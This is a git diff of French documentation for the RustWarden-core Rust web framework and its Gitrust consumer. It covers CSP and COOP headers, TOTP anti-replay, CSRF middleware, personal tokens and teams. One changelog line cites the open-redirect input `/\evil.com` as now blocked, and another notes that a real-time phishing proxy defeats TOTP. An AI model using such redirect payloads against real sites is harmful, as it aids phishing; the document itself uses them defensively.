1393 + SecurityHeadersConfig {
1394 + content_security_policy:
1395 + "default-src 'self'; script-src 'self'; style-src 'self'; \
1396 + img-src 'self' data:; frame-ancestors 'none'; base-uri 'self'; \
1397 + form-action 'self'"
1398 + .into(),
1399 + ..SecurityHeadersConfig::default()
1400 + }
1401 + .with_same_origin_isolation(),
1402 + )
1403 + .build()
1404 + .await?;
1405 +```
1406 +
1407 +**Details d'implementation** :
1408 +
1409 +- la config est capturee dans un `Arc` **a la construction du layer**, pas lue depuis une `Extension` : ce layer est plus externe que les `Extension(...)`, qui ne sont pas encore posees quand la requete le traverse ;
1410 +- une CSP invalide (caracteres de controle) **ne panique pas** : fallback sur le defaut + `warn!` ;
1411 +- une valeur COOP/CORP invalide fait sauter l'en-tete + `warn!`, sans casser la reponse.
1412 +
1413 +**Pieges** : une CSP sans `'unsafe-inline'` / `'unsafe-eval'` casse `rustwarden-ui`
1414 +(HTMX + build Alpine standard) — a reserver aux apps headless ou a UI maison.
1415 +COOP/CORP `same-origin` cassent les integrations cross-origin (iframes, CDN
1416 +d'assets, widgets tiers).
1417 +
1418 +**A retirer cote consommateur** : overlay
1419 +`SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` et tout header
1420 +COOP/CORP pose a la main — `grep -rn "SetResponseHeaderLayer" src/`.
1421 +
1115 1422 ---
1116 1423
1117 1424 ## 19. Utilitaires
@@ -1141,6 +1448,60 @@ Les projets générés par le CLI en mode headless câblent déjà ce router (+
1141 1448 |----------|-----------|-------------|
1142 1449 | `ensure_default_admin` | `(db) → Result<()>` | Cree l'administrateur par defaut au demarrage si aucun admin n'existe. Lit `ADMIN_USERNAME`, `ADMIN_EMAIL`, `ADMIN_PASSWORD`. Appele automatiquement par `build()`. |
1143 1450
1451 +`AdminConfig::validate()` (placeholders connus + `PasswordRules`) ne s'applique **que sur le chemin create**. Si un admin existe deja, un `ADMIN_PASSWORD` placeholder ou trop faible **n'empeche plus le boot** (1.0.1). Sans `ADMIN_PASSWORD`, le bootstrap est ignore (pas de generation automatique). Le template CLI `.env.example` n'embarque plus de mot de passe placeholder.
1452 +
1453 +`AuthConfig` refuse au demarrage un `JWT_SECRET` **egal** (pas un sous-chaine) a un placeholder connu, y compris `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE`.
1454 +
1455 +`sanitize_redirect` (middleware auth, query `redirect`) normalise `\` en `/` avant le test `//` — un open redirect `/\evil.com` est bloque (1.0.1).
1456 +
1457 +### TOTP (2FA)
1458 +
1459 +**Module** : `rustwarden_core::services::totp_service`
1460 +
1461 +Depuis 1.0.1, sur le chemin login :
1462 +
1463 +- `create_challenge` applique un plafond **somme des tentatives** : 15 sur les 15 dernieres minutes par utilisateur (a la place de l'ancien compteur de challenges satures) → `AppError::TotpMaxAttemptsExceeded` ;
1464 +- 5 tentatives maximum par challenge, TTL 5 min ;
1465 +- `verify_code` : garde anti-rejeu **in-process** (fenetre ±1, TTL 90 s) ;
1466 +- codes backup verifies en `spawn_blocking` (bcrypt).
1467 +
1468 +#### Anti-rejeu persistant `last_used_step` (RFC 0037, depuis 1.1.0)
1469 +
1470 +> ⚠️ **Migration a jouer** : `m20260918_000010_totp_last_used_step` ajoute
1471 +> `user_totp.last_used_step BIGINT NULL`. **Jouer la migration avant de deployer
1472 +> le binaire 1.1.0** — un replica sur un schema pre-migration echoue a la
1473 +> verification TOTP (fail-closed : l'erreur DB remonte, l'utilisateur ne peut
1474 +> plus valider son 2FA).
1475 +
1476 +`verify_code` **et** `verify_and_enable` consomment desormais le **pas qui a
1477 +reellement matche** (`matching_totp_step`, skew ±1 — jamais `now / 30`) via un
1478 +compare-and-set SeaORM :
1479 +
1480 +```sql
1481 +UPDATE user_totp
1482 + SET last_used_step = $step, updated_at = now()
1483 + WHERE user_id = $id
1484 + AND (last_used_step IS NULL OR last_used_step < $step)
1485 +```
1486 +
1487 +Succes ssi `rows_affected == 1`.
1488 +
1489 +| Aspect | Comportement |
1490 +|--------|--------------|
1491 +| Rejeu detecte | `Ok(false)` — **identique a un code invalide**, pas d'oracle de rejeu |
1492 +| Multi-replicas | Ferme : le CAS SQL est partage, la garde in-process de 1.0.1 ne couvrait qu'un processus |
1493 +| `verify_and_enable` | Consomme le pas **avant** de basculer `enabled = true` : le code de setup ne peut pas servir de login immediat |
1494 +| Erreur DB | Propagee en `AppError` — **jamais fail-open** |
1495 +| Garde in-process | Conservee **apres** le CAS, en defense en profondeur |
1496 +| Lignes existantes | `last_used_step IS NULL` = aucun pas consomme depuis la migration → le premier code presente apres migration est toujours accepte |
1497 +
1498 +**Ce que ca ne couvre pas** : un MITM temps reel (proxy de phishing type
1499 +Evilginx) rejoue le code **avant** l'utilisateur legitime et gagne le CAS. Le
1500 +TOTP n'est pas phishing-resistant par construction. Voir
1501 +[developer-guide/07-security-model.md](developer-guide/07-security-model.md#totp--2fa).
1502 +
1503 +**A retirer cote consommateur** : tout patch local dupliquant l'anti-rejeu TOTP.
1504 +
1144 1505 ---
1145 1506
1146 1507 ## 20. Patterns communs
@@ -1169,7 +1530,7 @@ Toutes les limites passent par [`RateLimitService`](#15-rate-limiting) avec des
1169 1530
1170 1531 | Cle | Limite | Window type | Expose via |
1171 1532 |-----|--------|-------------|------------|
1172 -| `auth:{ip}` | env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10/min) | Fixed | `check_auth_rate_limit(headers)` |
1533 +| `auth:{ip}` | env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10/min) | Fixed | Layer `auth_ip_rate_limit` sur `auth_api_routes()` (ConnectInfo). Helper `check_auth_rate_limit(headers)` = fallback headers-only. |
1173 1534 | `share:{ip}` | 30/min | Fixed | `check_public_share_rate_limit*` |
1174 1535 | `pwd_change:{user_id}` | 3/hour (config) | Sliding strict | `PasswordChangeService::create_pending_request` |
1175 1536 | `pwd_reset:{email}` | 3/hour | Sliding strict | `PasswordResetService::request_reset` |
A docs/UPSTREAM_RUSTWARDEN copy.md
+711 -0
@@ -0,0 +1,711 @@
1 +# Notes sur l'utilisation de RustWarden-core dans Gitrust
2 +
3 +Ce fichier documente les interactions entre Gitrust et le framework RustWarden-core.
4 +
5 +## Services framework utilises
6 +
7 +| Service | Usage dans Gitrust |
8 +|---------|-------------------|
9 +| `UserService` | CRUD users, roles, `delete_user`, `admin_reset_password`, `change_password_direct`, `unassign_role_from_user` |
10 +| `RoleService` | Liste/creation/suppression roles, `get_role_by_name` |
11 +| `PasswordService` | `hash_password` (async), `verify_password` (async), `generate_secure_password` |
12 +| `ResourceService` | `register`/`unregister` repos, `set_public`, `effective_permission`, `find_by_type_and_id` |
13 +| `AuthService` | `authenticate_user` (login) |
14 +| `JwtService` | `generate_token` (login) |
15 +| `EmailValidationService` | Verification email |
16 +| `PasswordResetService` | Flux "mot de passe oublie" |
17 +| `AppSettingsService` | `get_bool` pour `registration_enabled` |
18 +
19 +## Hook `on_user_deleted` implemente
20 +
21 +Le hook `on_user_deleted` dans `gitrust-hooks` supprime le repertoire utilisateur sur le filesystem (`repos_base_path/username/`) avant la cascade DB. Appele automatiquement par `UserService::delete_user`.
22 +
23 +## Aucun contournement en cours
24 +
25 +Tous les anciens contournements (entity directes, hash manuels) ont ete remplaces par les services du framework suite a la mise a jour du 2026-03-26.
26 +
27 +---
28 +
29 +## Propositions d'amelioration framework (backlog upstream)
30 +
31 +Cette section liste les limitations observees cote gitrust lors de l'integration et les ameliorations qui benificieraient a toutes les apps batissant sur rustwarden-core. Chaque entree decrit : le contexte, la limitation actuelle, le workaround cote gitrust (temporaire) et la(les) proposition(s) a soumettre upstream.
32 +
33 +### ~~1. Middleware CSRF incompatible avec les formulaires SSR `application/x-www-form-urlencoded`~~ — RESOLU 2026-04-22
34 +
35 +**Status** : Implemente en Phase 2.1 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
36 +
37 +Proposition A retenue :
38 +- Nouveau [`CsrfProtectionConfig`](../crates/rustwarden-core/src/middleware/csrf.rs) avec `accept_form_body: bool` + `max_form_body_bytes: usize` (default 1 MiB).
39 +- Nouveau middleware [`csrf_protection_with_config`](../crates/rustwarden-core/src/middleware/csrf.rs) qui buffer le body url-encoded, extrait `csrf_token`, valide constant-time, reconstruit le body.
40 +- Helper public bonus [`extract_csrf_from_form(body: &[u8])`](../crates/rustwarden-core/src/middleware/csrf.rs) (proposition B).
41 +- Multipart skip, body > cap → 413, 11 tests TDD.
42 +- `csrf_protection` existante inchangee (backwards-compat).
43 +
44 +---
45 +
46 +### 1bis. Details historiques (avant resolution)
47 +
48 +**Date de detection** : 2026-04-21 (iteration CSRF admin ssh-guard).
49 +
50 +**Contexte** : Gitrust est une app SSR pure — pas de JavaScript global, pas de fetch interceptor qui injecterait automatiquement un header `X-CSRF-Token`. Tous les formulaires POST envoient leur token via un champ cache `<input type="hidden" name="csrf_token" value="{{ layout.csrf_token }}">` dans un body `application/x-www-form-urlencoded`.
51 +
52 +**Limitation du framework** : le middleware [`csrf_protection`](../crates/rustwarden-core/src/middleware/csrf.rs) ne lit que le header `X-CSRF-Token` — il ne parse pas le body. Le commentaire dans le code ([csrf.rs:81-83](../crates/rustwarden-core/src/middleware/csrf.rs#L81)) l'indique explicitement :
53 +
54 +```rust
55 +// For form data, we would need to parse the body
56 +// This is handled in handlers that process form data
57 +```
58 +
59 +Consequence : appliquer `csrf_protection` comme layer axum sur un routeur qui sert des formulaires SSR fait systematiquement renvoyer `403 CSRF token required` — le middleware ne voit jamais le token qui est pourtant dans le body. Les apps SSR sont forcees de :
60 +- soit implementer leur propre middleware buffer-body (duplication + risque d'incoherence),
61 +- soit appeler `validate_csrf_token` manuellement dans chaque handler POST (invasion de boilerplate).
62 +
63 +**Workaround actuel cote gitrust** : middleware [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) qui :
64 +1. Accepte les methodes safe (`GET`/`HEAD`/`OPTIONS`) sans verification.
65 +2. Skip les requetes `Authorization: Bearer` (API JWT non vulnerable).
66 +3. Essaie d'abord le header `X-CSRF-Token` (compat future avec HTMX/fetch).
67 +4. A defaut, bufferise le body (cap 1 MiB), extrait `csrf_token=...` via parsing URL-encoded, valide via `rustwarden_core::middleware::csrf::validate_csrf_token`, reconstruit le body avec `Body::from(bytes)` pour que le handler downstream puisse re-decoder sa struct `Form<T>`.
68 +
69 +Ce middleware est **duplicat de logique framework** : il reimplemente la detection bearer, le skip des methodes safe, et le flow de validation. Toute evolution du framework (nouveau type d'auth, changement de flow CSRF) necessite une mise a jour synchronisee cote gitrust.
70 +
71 +**Propositions d'amelioration** (par ordre de preference) :
72 +
73 +#### Proposition A — Extension de `csrf_protection` avec option `accept_form_body`
74 +
75 +Ajouter un parametre optionnel au middleware pour activer la lecture du body :
76 +
77 +```rust
78 +// Nouveau dans rustwarden_core::middleware::csrf
79 +pub struct CsrfProtectionConfig {
80 + /// Si true, lit le champ `csrf_token` du body form-urlencoded
81 + /// quand le header `X-CSRF-Token` est absent. Bufferise le body
82 + /// en RAM (attention aux uploads multipart — ignores).
83 + /// Defaut : false (compatibilite avec le comportement existant).
84 + pub accept_form_body: bool,
85 + /// Taille max du body bufferise. Defaut : 1 MiB.
86 + pub max_form_body_bytes: usize,
87 +}
88 +
89 +impl Default for CsrfProtectionConfig {
90 + fn default() -> Self {
91 + Self {
92 + accept_form_body: false,
93 + max_form_body_bytes: 1024 * 1024,
94 + }
95 + }
96 +}
97 +
98 +/// Nouveau constructeur pour apps SSR.
99 +pub async fn csrf_protection_with_config(
100 + State((db, cfg)): State<(DatabaseConnection, Arc<CsrfProtectionConfig>)>,
101 + session: Session,
102 + uri: Uri,
103 + request: Request,
104 + next: Next,
105 +) -> Result<Response, AppError> {
106 + // ... flow existant + branche buffer-body si cfg.accept_form_body
107 +}
108 +```
109 +
110 +**Pros** : change pas l'API existante (backwards-compatible), offre directement la feature aux apps SSR, centralise la logique dans le framework.
111 +**Cons** : ajoute de la complexite (buffer-body logic dans le framework), risque edge-cases (multipart/form-data, content-type personnalise, body stream non-buffered).
112 +
113 +#### Proposition B — Helper `extract_csrf_from_form(body: &[u8]) -> Option<String>`
114 +
115 +Exporter la logique de parsing en helper public pour que les apps SSR l'utilisent dans leur propre middleware :
116 +
117 +```rust
118 +// Nouveau dans rustwarden_core::middleware::csrf
119 +/// Extrait le champ `csrf_token` d'un body `application/x-www-form-urlencoded`
120 +/// URL-encode. Retourne `None` si le champ est absent ou le body malforme.
121 +pub fn extract_csrf_from_form(body: &[u8]) -> Option<String> { ... }
122 +```
123 +
124 +**Pros** : intervention minimale, pas de changement de signature middleware, bibliotheque de petites briques.
125 +**Cons** : chaque app SSR doit quand meme ecrire son middleware complet ; duplication reste partielle.
126 +
127 +#### Proposition C — Feature flag `ssr-forms` qui ajoute un middleware dedie
128 +
129 +```rust
130 +// Dans rustwarden_core (derriere feature = "ssr-forms")
131 +pub async fn csrf_protection_ssr(
132 + State(db): State<DatabaseConnection>,
133 + session: Session,
134 + uri: Uri,
135 + request: Request,
136 + next: Next,
137 +) -> Result<Response, AppError> {
138 + // Flow complet avec buffer-body + validation
139 +}
140 +```
141 +
142 +**Pros** : isole la logique SSR derriere une feature (pas de overhead pour les apps API-only), nom explicite.
143 +**Cons** : eclate l'API CSRF en deux (risque de confusion pour les devs), impose aux apps SSR d'activer la feature.
144 +
145 +**Recommendation** : proposition A (`accept_form_body` en config). C'est la moins invasive du point de vue de l'API, elle garde le comportement par defaut intact, et elle deplace la complexite buffer-body dans le framework ou elle est testable de facon centralisee.
146 +
147 +**Criteres d'acceptation** pour le PR upstream :
148 +- [ ] `csrf_protection` existante continue de fonctionner sans changement (backwards-compat).
149 +- [ ] Nouveau helper `csrf_protection_with_config` disponible avec `accept_form_body: true`.
150 +- [ ] Gere proprement `application/x-www-form-urlencoded` : buffer → parse → reconstruct body.
151 +- [ ] Refuse `multipart/form-data` avec 415 ou skip (trop risque a bufferiser).
152 +- [ ] Respecte `max_form_body_bytes` et renvoie 413 sur depassement.
153 +- [ ] Tests unitaires : (a) token en header valide, (b) token en form body valide, (c) header absent + form body absent → 403, (d) mismatch → 403, (e) body > cap → 413.
154 +- [ ] Doc inline precisant la trade-off buffer vs streaming.
155 +
156 +**Migration cote gitrust apres merge upstream** :
157 +1. Bump version rustwarden-core dans `Cargo.toml`.
158 +2. Supprimer [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) et ses tests.
159 +3. Remplacer `.layer(axum::middleware::from_fn(admin_csrf_protection))` par `.layer(axum::middleware::from_fn_with_state((db, Arc::new(CsrfProtectionConfig { accept_form_body: true, ..Default::default() })), csrf_protection_with_config))`.
160 +4. Supprimer cette section du fichier (ou la deplacer dans `CHANGELOG.md` comme "resolu").
161 +
162 +### ~~2. `LayoutContext::new(title, csrf_token)` impose le token en second argument~~ — RESOLU 2026-04-22
163 +
164 +**Status** : Implemente en Phase 1.1 du plan d'evolution.
165 +
166 +Nouveau [`LayoutContext::from_session(session, title)`](../crates/rustwarden-core/src/templates/mod.rs) async qui fetch le token via `get_or_create_csrf_token` avec fallback log+empty sur erreur. Signature existante `new()` inchangee.
167 +
168 +---
169 +
170 +### 2bis. Details historiques (avant resolution)
171 +
172 +**Contexte** : chaque handler qui rend un template doit fetcher manuellement le token et le passer a `LayoutContext::new`. 27+ occurrences de `LayoutContext::new(title, "")` dans gitrust-web passent un token vide, ce qui casse silencieusement le CSRF cote client.
173 +
174 +**Limitation** : la signature de [`LayoutContext::new(title: &str, csrf_token: &str)`](../crates/rustwarden-core/src/templates.rs) traite le token comme un parametre obligatoire sans possibilite de remplissage automatique. Il n'existe pas de helper `LayoutContext::from_session(session, title)` ou `LayoutContext::builder().title(...).finish_async(&session)`.
175 +
176 +**Proposition** : ajouter un constructeur async qui fait le fetch du token :
177 +
178 +```rust
179 +impl LayoutContext {
180 + /// Version async qui peuple `csrf_token` depuis la session tower-sessions.
181 + /// Fallback silencieux sur `""` si la session est indisponible (log warn).
182 + pub async fn from_session(session: &tower_sessions::Session, title: &str) -> Self {
183 + let token = rustwarden_core::middleware::csrf::get_or_create_csrf_token(session)
184 + .await
185 + .unwrap_or_default();
186 + Self::new(title, &token)
187 + }
188 +}
189 +```
190 +
191 +**Pros** : reduit le boilerplate par handler, empeche le pattern "`LayoutContext::new(title, "")`" qui echappe aux revues.
192 +**Cons** : nouvelle dependance entre `templates` et `middleware::csrf` (cross-module). Alternative : placer le helper dans `crate::middleware::csrf` plutot que dans `templates`.
193 +
194 +**Criteres d'acceptation** :
195 +- [ ] Pas de changement de signature sur `LayoutContext::new` (backwards-compat).
196 +- [ ] Nouveau `from_session` disponible, teste avec une session mock.
197 +- [ ] Doc inline avec exemple de handler qui l'utilise.
198 +
199 +**Migration cote gitrust apres merge** :
200 +1. Remplacer tous les `LayoutContext::new(title, &csrf_token)` par `LayoutContext::from_session(&session, title).await`.
201 +2. Retirer les appels `get_or_create_csrf_token` qui etaient inlines avant.
202 +
203 +### ~~3. `csrf_protection_impl` redondant avec `csrf_protection`~~ — RESOLU 2026-04-22
204 +
205 +**Status** : Implemente en Phase 1.2 du plan d'evolution.
206 +
207 +Factorise via la fonction interne `csrf_check` + enum `CsrfOutcome`. Les deux publics (`csrf_protection`, `csrf_protection_impl`, plus le nouveau `csrf_protection_with_config`) deviennent des wrappers minces (3-4 lignes chacun). ~80 lignes de duplication supprimees.
208 +
209 +---
210 +
211 +### 3bis. Details historiques (avant resolution)
212 +
213 +**Contexte** : le framework expose deux middlewares quasi-identiques ([csrf.rs:123](../crates/rustwarden-core/src/middleware/csrf.rs#L123) et [csrf.rs:175](../crates/rustwarden-core/src/middleware/csrf.rs#L175)). Seule difference : `csrf_protection_impl` prend `db` par reference au lieu de passer par `State<DatabaseConnection>`.
214 +
215 +**Proposition** : deduplication via une fonction interne commune + 2 wrappers :
216 +```rust
217 +async fn csrf_protection_inner(session: &Session, request: &Request) -> Result<Option<Response>, AppError> { ... }
218 +pub async fn csrf_protection(State(_db), session, uri, request, next) -> Result<Response, AppError> { ... }
219 +pub async fn csrf_protection_impl(_db, session, uri, request, next) -> Result<Response, AppError> { ... }
220 +```
221 +
222 +**Priorite** : basse (DRY seulement, pas de bug).
223 +
224 +### ~~4. Pas de service Personal Access Tokens (PAT)~~ — RESOLU 2026-04-23
225 +
226 +**Status** : Implemente dans Phase 4 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
227 +
228 +Livre :
229 +- Migration [`m20260422_000007_create_personal_access_tokens`](../crates/rustwarden-core/migrations/src/m20260422_000007_create_personal_access_tokens.rs) (table + indexes unique `(user_id, name)`, `token_hash`, `expires_at`).
230 +- Entity SeaORM [`personal_access_token::Model`](../crates/rustwarden-core/src/models/personal_access_token.rs) avec helpers `is_expired`, `is_revoked`, `is_active`.
231 +- Service generique [`PersonalTokenService<S: TokenScope>`](../crates/rustwarden-core/src/services/personal_token_service.rs) : `create`, `verify`, `list_for_user`, `revoke`, `cleanup_expired`. Hash SHA-256 constant-time, `last_used_at` best-effort, revoke idempotent + ownership check.
232 +- Background cleanup task [`PersonalTokenCleanupProcessor<S>`](../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (config `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`, default 3600s).
233 +- Prelude exporte `PersonalTokenService` et `TokenScope`.
234 +- 15 tests (5 entity + 10 integration DB).
235 +
236 +---
237 +
238 +### 4bis. Details historiques (avant resolution)
239 +
240 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 11).
241 +
242 +**Contexte** : gitrust a besoin d'une auth API long terme pour `git clone/push` via HTTPS (Smart HTTP — LOT 10). Le workflow est : l'utilisateur genere un token depuis l'UI, le colle dans `git config` ou dans l'URL `https://user:token@host/repo.git`, et le client Git le renvoie identique a chaque appel.
243 +
244 +**Limitation du framework** : [`RefreshTokenService`](../crates/rustwarden-core/src/services/refresh_token_service.rs) gere uniquement la rotation JWT (un usage = un nouveau token, detection de reuse, plafond `MAX_ACTIVE_TOKENS_PER_USER=10`). Ce modele est **incompatible** avec un PAT statique : `git push` ne peut pas "tourner" le token entre deux invocations. Aucun service ne couvre :
245 +- Token SHA-256 en base, verifie a chaque appel (pas de rotation).
246 +- Scopes structures (`read:repo`, `write:repo`, `admin:repo`).
247 +- `last_used_at` pour UX et nettoyage.
248 +- Expiration optionnelle (`expires_at NULL` = token permanent).
249 +
250 +**Workaround actuel cote gitrust** : non demarre — LOT 11 attend la decision. Piste pretraitee :
251 +- Migration `personal_access_tokens` (id, user_id, name, token_hash, scopes text[], expires_at, last_used_at, created_at).
252 +- Service `gitrust-core/src/services/personal_token_service.rs` calque sur `RefreshTokenService` (hash SHA-256, cleanup tache de fond).
253 +- Reutiliser `TokenHash` (Zeroize) deja present dans `gitrust-core/src/types.rs`.
254 +- Extension de `AuthUser` : extractor gitrust local qui tente `Authorization: Bearer <jwt>` (framework) puis `Authorization: Bearer gtr_<pat>` (gitrust).
255 +
256 +**Proposition upstream** : `PersonalTokenService<S: TokenScope>` generique avec trait de scope parametrable par consommateur.
257 +
258 +```rust
259 +pub trait TokenScope: Sized + Clone + Send + Sync + 'static {
260 + fn as_str(&self) -> &str;
261 + fn parse(s: &str) -> Option<Self>;
262 +}
263 +
264 +pub struct PersonalTokenService<S: TokenScope> { _phantom: PhantomData<S> }
265 +
266 +impl<S: TokenScope> PersonalTokenService<S> {
267 + pub async fn create(db, user_id, name, scopes: Vec<S>, expires_at) -> Result<(PatRecord, String /*clair*/)>;
268 + pub async fn verify(db, token_clear: &str) -> Result<(PatRecord, Vec<S>)>;
269 + pub async fn list_for_user(db, user_id) -> Result<Vec<PatRecord>>;
270 + pub async fn revoke(db, token_id, user_id) -> Result<()>;
271 + pub async fn cleanup_expired(db) -> Result<u64>;
272 +}
273 +```
274 +
275 +Gitrust instancierait `PersonalTokenService<RepoScope>`, PasterMan `PersonalTokenService<WallScope>`.
276 +
277 +**Pros** : couvre tous les apps qui veulent une auth API statique. Mutualise le hash/scopes/cleanup. Prefix de token (`gtr_`, `ptm_`) reste au choix de l'app.
278 +**Cons** : trait `TokenScope` impose un vocabulaire partage. Alternative : scopes en `Vec<String>` et validation cote app (moins type-safe).
279 +
280 +**Criteres d'acceptation** :
281 +- [ ] Migration generique `personal_access_tokens` ajoutable au migrator de l'app.
282 +- [ ] Hash SHA-256 en base, token clair jamais stocke.
283 +- [ ] API `create`/`verify`/`list`/`revoke`/`cleanup_expired`.
284 +- [ ] Tests : creation + verify ok, scope mismatch, token expire, revoke idempotent.
285 +- [ ] Documentation du pattern d'extension `AuthUser` cote consommateur (tentative JWT puis PAT).
286 +
287 +**Migration cote gitrust apres merge** :
288 +1. Bump `rustwarden-core`.
289 +2. Remplacer `personal_token_service` local par `PersonalTokenService<RepoScope>`.
290 +3. Garder le prefix `gtr_` et l'extractor d'auth gitrust (specifique au protocole Smart HTTP).
291 +
292 +### ~~5. Pas de TeamService (groupes d'utilisateurs)~~ — RESOLU 2026-04-23
293 +
294 +**Status** : Implemente en Phase 5 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
295 +
296 +Livre :
297 +- Migration [`m20260423_000008_create_teams`](../crates/rustwarden-core/migrations/src/m20260423_000008_create_teams.rs) : tables `teams` + `team_members` (composite PK), evolution `resource_shares` avec `shared_with_team_id` + CHECK constraint (exactement un de `user_id`/`team_id` non-null) + partial unique indexes par principal.
298 +- Value object [`TeamSlug`](../crates/rustwarden-core/src/types/team_slug.rs) : `[a-z0-9-]{1,64}`, no leading/trailing `-`, 15 reserved names. 8 tests.
299 +- [`TeamService`](../crates/rustwarden-core/src/services/team_service.rs) : `create`, `find_by_id/slug`, `add_member` (idempotent + role update), `remove_member` (refuse de supprimer l'owner), `list_members`, `teams_of_user`, `team_ids_of_user`, `delete`. Hooks `on_team_*` cables. 8 integration tests.
300 +- [`ResourceService::Principal`](../crates/rustwarden-core/src/services/resource_service.rs) enum (`User | Team`) + `share_with` + `effective_permission_for_user` qui calcule `max(direct_user_share, max(team_shares))`. Legacy `share()` conserve comme wrapper. 6 integration tests couvrant : user-principal backwards-compat, owner share refuse, team grant a tous membres, max cross user+teams, remove from team drop access, idempotent team upsert.
301 +- Prelude exporte `Principal`, `TeamService`, `TeamRole`, `TeamSlug`.
302 +
303 +Total : 22 tests nouveaux sur DB reelle, 0 regression.
304 +
305 +---
306 +
307 +### 5bis. Details historiques (avant resolution)
308 +
309 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 14).
310 +
311 +**Contexte** : gitrust veut permettre le partage d'un repo a une **equipe** (ex. `@backend`), pas seulement a des utilisateurs individuels. C'est une attente standard (GitHub, GitLab, Forgejo). PasterMan a le meme besoin pour partager des walls a une equipe.
312 +
313 +**Limitation du framework** : rustwarden-core n'expose que :
314 +- Des **roles globaux** (`admin`, `user`, `app_manager`) via `RoleService`.
315 +- Un **partage 1-to-1** (`ResourceService::share(user_id, permission)`).
316 +
317 +**Aucune notion de team/groupe.** La section gitrust de [CLAUDE.md](../CLAUDE.md) mentionnait "teams upstream" : c'etait une supposition incorrecte, a corriger.
318 +
319 +**Workaround actuel cote gitrust** : non demarre — LOT 14 attend la decision. Piste pretraitee :
320 +- Migrations `teams` (slug, name, owner_id, created_at) + `team_members` (team_id, user_id, role, joined_at).
321 +- Service `gitrust-core/src/services/team_service.rs` (CRUD + membership + validation slug via `TeamSlug` deja present).
322 +- Bridge `ResourceService` : partage d'un repo a une team = expansion en partages individuels au moment du check ACL, OU extension `ResourceService::share(shared_with_id, shared_with_type: "user" | "team")`.
323 +
324 +**Proposition upstream** : `TeamService` generique + evolution de `ResourceService::share` pour accepter `shared_with_type`.
325 +
326 +```rust
327 +pub struct TeamService;
328 +
329 +impl TeamService {
330 + pub async fn create(db, owner_id, slug, name) -> Result<TeamRecord>;
331 + pub async fn add_member(db, team_id, user_id, role: TeamRole) -> Result<()>;
332 + pub async fn remove_member(db, team_id, user_id) -> Result<()>;
333 + pub async fn list_members(db, team_id) -> Result<Vec<(UserRecord, TeamRole)>>;
334 + pub async fn teams_of_user(db, user_id) -> Result<Vec<TeamRecord>>;
335 + pub async fn delete(db, team_id, hooks: &Arc<dyn RustwardenHooks>) -> Result<()>;
336 +}
337 +
338 +// Evolution de ResourceService
339 +pub enum Principal { User(Uuid), Team(Uuid) }
340 +impl ResourceService {
341 + pub async fn share_with(db, resource_type, resource_id, principal: Principal, permission) -> Result<()>;
342 + pub async fn effective_permission_for_user(db, resource_type, resource_id, user_id) -> Result<Option<Permission>>;
343 + // Calcule max(perm_direct, max(perm_via_teams))
344 +}
345 +```
346 +
347 +**Pros** : pattern reutilisable (gitrust, PasterMan). La resolution `effective_permission_for_user` encapsule la logique d'expansion (transparente pour le consommateur). Hooks `on_team_created/deleted/member_added/removed` a ajouter pour les consommateurs qui veulent un audit.
348 +**Cons** : touche a `ResourceService` (service central) — risque de regression. Besoin de tests de charge (expansion team peut balayer N utilisateurs a chaque check ACL — prevoir cache ou requete SQL join).
349 +
350 +**Criteres d'acceptation** :
351 +- [ ] Migration `teams` + `team_members` ajoutable au migrator.
352 +- [ ] `TeamSlug` (reserved names, lowercase, 1-64 chars) — peut reutiliser le pattern gitrust.
353 +- [ ] `ResourceService::effective_permission_for_user` prend en compte memberships (test dedie).
354 +- [ ] Hooks `on_team_*` ajoutes a `RustwardenHooks` (cf. gap-7 ci-dessous).
355 +- [ ] Suppression d'une team : cascade sur `team_members` + revocation des shares `Team(id)`.
356 +- [ ] Tests : user membre de 2 teams avec permissions differentes → max l'emporte. User retire d'une team perd l'acces au repo si c'etait sa seule source.
357 +
358 +**Migration cote gitrust apres merge** :
359 +1. Bump `rustwarden-core`.
360 +2. Corriger [CLAUDE.md](../CLAUDE.md) section "Roles" — referencer `TeamService` framework.
361 +3. Ajouter UI `/teams` + templates.
362 +4. Etendre `RepositoryService` pour appeler `ResourceService::share_with(Principal::Team(team_id))`.
363 +
364 +### ~~6. Pas de RateLimitService generique expose~~ — RESOLU 2026-04-22
365 +
366 +**Status** : Implemente en Phase 2.3 du plan d'evolution.
367 +
368 +Livre :
369 +- [`RateLimitService`](../crates/rustwarden-core/src/services/rate_limit_service.rs) generique : `check`, `check_window` (fixed), `check_sliding_window` (strict), `cleanup_loop`.
370 +- [`AppError::TooManyRequests { retry_after_secs }`](../crates/rustwarden-core/src/error.rs) → HTTP 429 + `Retry-After` header + body JSON.
371 +- 5 call-sites internes dedupliques : `AuthRateLimiter` + `PublicShareRateLimiter` (rate_limit middleware) + password_change + password_reset + email_validation services — tous migrent vers `RateLimitService` avec prefixes de cle (`auth:{ip}`, `share:{ip}`, `pwd_change:{user_id}`, etc.).
372 +- Bonus : race TOCTOU elimine (check+record atomique), `oauth_handlers` renvoie desormais 429 au lieu d'un faux 400.
373 +
374 +---
375 +
376 +### 6bis. Details historiques (avant resolution)
377 +
378 +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-preview-rate-limit.md`).
379 +
380 +**Contexte** : gitrust doit rate-limiter les endpoints d'import (`GET /import/preview`, `POST /import`) avec des cles arbitraires et un TTL configurable par env var (`RATE_LIMIT_IMPORT_PREVIEW_PER_MINUTE=120`). Le meme besoin revient pour tout endpoint critique (future API PAT, webhook receive-pack, etc.).
381 +
382 +**Limitation du framework** : les rate limiters existants ([password_change_service](../crates/rustwarden-core/src/services/password_change_service.rs), [password_reset_service](../crates/rustwarden-core/src/services/password_reset_service.rs), [email_validation_service](../crates/rustwarden-core/src/services/email_validation_service.rs)) sont :
